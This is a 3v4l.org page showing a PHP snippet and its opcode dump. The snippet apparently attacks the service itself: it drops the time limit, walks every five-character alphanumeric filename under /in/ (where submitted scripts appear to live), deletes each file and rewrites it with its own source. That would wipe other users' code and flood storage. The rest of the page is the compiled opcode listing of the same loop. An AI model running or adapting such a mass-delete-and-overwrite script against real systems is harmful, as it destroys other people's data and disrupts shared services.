3v4l.org

run code in 300+ PHP versions simultaneously
<?php set_time_limit(-1); $c = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"; $l = strlen($c); $code = file_get_contents(__FILE__); for ($v1=0; $v1 < $l; $v1++) for ($v2=0; $v2 < $l; $v2++) for ($v3=0; $v3 < $l; $v3++) for ($v4=0; $v4 < $l; $v4++) for ($v5=0; $v5 < $l; $v5++) { $n = $c[$v1].$c[$v2].$c[$v3].$c[$v4].$c[$v5]; unlink("/in/$n"); file_put_contents("/in/$n", $code); }
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 54
Branch analysis from position: 54
2 jumps found. (Code = 44) Position 1 = 56, Position 2 = 12
Branch analysis from position: 56
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 12
1 jumps found. (Code = 42) Position 1 = 51
Branch analysis from position: 51
2 jumps found. (Code = 44) Position 1 = 53, Position 2 = 14
Branch analysis from position: 53
2 jumps found. (Code = 44) Position 1 = 56, Position 2 = 12
Branch analysis from position: 56
Branch analysis from position: 12
Branch analysis from position: 14
1 jumps found. (Code = 42) Position 1 = 48
Branch analysis from position: 48
2 jumps found. (Code = 44) Position 1 = 50, Position 2 = 16
Branch analysis from position: 50
2 jumps found. (Code = 44) Position 1 = 53, Position 2 = 14
Branch analysis from position: 53
Branch analysis from position: 14
Branch analysis from position: 16
1 jumps found. (Code = 42) Position 1 = 45
Branch analysis from position: 45
2 jumps found. (Code = 44) Position 1 = 47, Position 2 = 18
Branch analysis from position: 47
2 jumps found. (Code = 44) Position 1 = 50, Position 2 = 16
Branch analysis from position: 50
Branch analysis from position: 16
Branch analysis from position: 18
1 jumps found. (Code = 42) Position 1 = 42
Branch analysis from position: 42
2 jumps found. (Code = 44) Position 1 = 44, Position 2 = 20
Branch analysis from position: 44
2 jumps found. (Code = 44) Position 1 = 47, Position 2 = 18
Branch analysis from position: 47
Branch analysis from position: 18
Branch analysis from position: 20
2 jumps found. (Code = 44) Position 1 = 44, Position 2 = 20
Branch analysis from position: 44
Branch analysis from position: 20
filename:       /in/Sq62I
function name:  (null)
number of ops:  57
compiled vars:  !0 = $c, !1 = $l, !2 = $code, !3 = $v1, !4 = $v2, !5 = $v3, !6 = $v4, !7 = $v5, !8 = $n
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'set_time_limit'
          1        SEND_VAL                                                 -1
          2        DO_ICALL                                                 
    3     3        ASSIGN                                                   !0, '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
    4     4        STRLEN                                           ~11     !0
          5        ASSIGN                                                   !1, ~11
    5     6        INIT_FCALL                                               'file_get_contents'
          7        SEND_VAL                                                 '%2Fin%2FSq62I'
          8        DO_ICALL                                         $13     
          9        ASSIGN                                                   !2, $13
    6    10        ASSIGN                                                   !3, 0
         11      > JMP                                                      ->54
    7    12    >   ASSIGN                                                   !4, 0
         13      > JMP                                                      ->51
    8    14    >   ASSIGN                                                   !5, 0
         15      > JMP                                                      ->48
    9    16    >   ASSIGN                                                   !6, 0
         17      > JMP                                                      ->45
   10    18    >   ASSIGN                                                   !7, 0
         19      > JMP                                                      ->42
   12    20    >   FETCH_DIM_R                                      ~20     !0, !3
         21        FETCH_DIM_R                                      ~21     !0, !4
         22        CONCAT                                           ~22     ~20, ~21
         23        FETCH_DIM_R                                      ~23     !0, !5
         24        CONCAT                                           ~24     ~22, ~23
         25        FETCH_DIM_R                                      ~25     !0, !6
         26        CONCAT                                           ~26     ~24, ~25
         27        FETCH_DIM_R                                      ~27     !0, !7
         28        CONCAT                                           ~28     ~26, ~27
         29        ASSIGN                                                   !8, ~28
   13    30        INIT_FCALL                                               'unlink'
         31        NOP                                                      
         32        FAST_CONCAT                                      ~30     '%2Fin%2F', !8
         33        SEND_VAL                                                 ~30
         34        DO_ICALL                                                 
   14    35        INIT_FCALL                                               'file_put_contents'
         36        NOP                                                      
         37        FAST_CONCAT                                      ~32     '%2Fin%2F', !8
         38        SEND_VAL                                                 ~32
         39        SEND_VAR                                                 !2
         40        DO_ICALL                                                 
   10    41        PRE_INC                                                  !7
         42    >   IS_SMALLER                                               !7, !1
         43      > JMPNZ                                                    ~35, ->20
    9    44    >   PRE_INC                                                  !6
         45    >   IS_SMALLER                                               !6, !1
         46      > JMPNZ                                                    ~37, ->18
    8    47    >   PRE_INC                                                  !5
         48    >   IS_SMALLER                                               !5, !1
         49      > JMPNZ                                                    ~39, ->16
    7    50    >   PRE_INC                                                  !4
         51    >   IS_SMALLER                                               !4, !1
         52      > JMPNZ                                                    ~41, ->14
    6    53    >   PRE_INC                                                  !3
         54    >   IS_SMALLER                                               !3, !1
         55      > JMPNZ                                                    ~43, ->12
   15    56    > > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
171.01 ms | 1404 KiB | 21 Q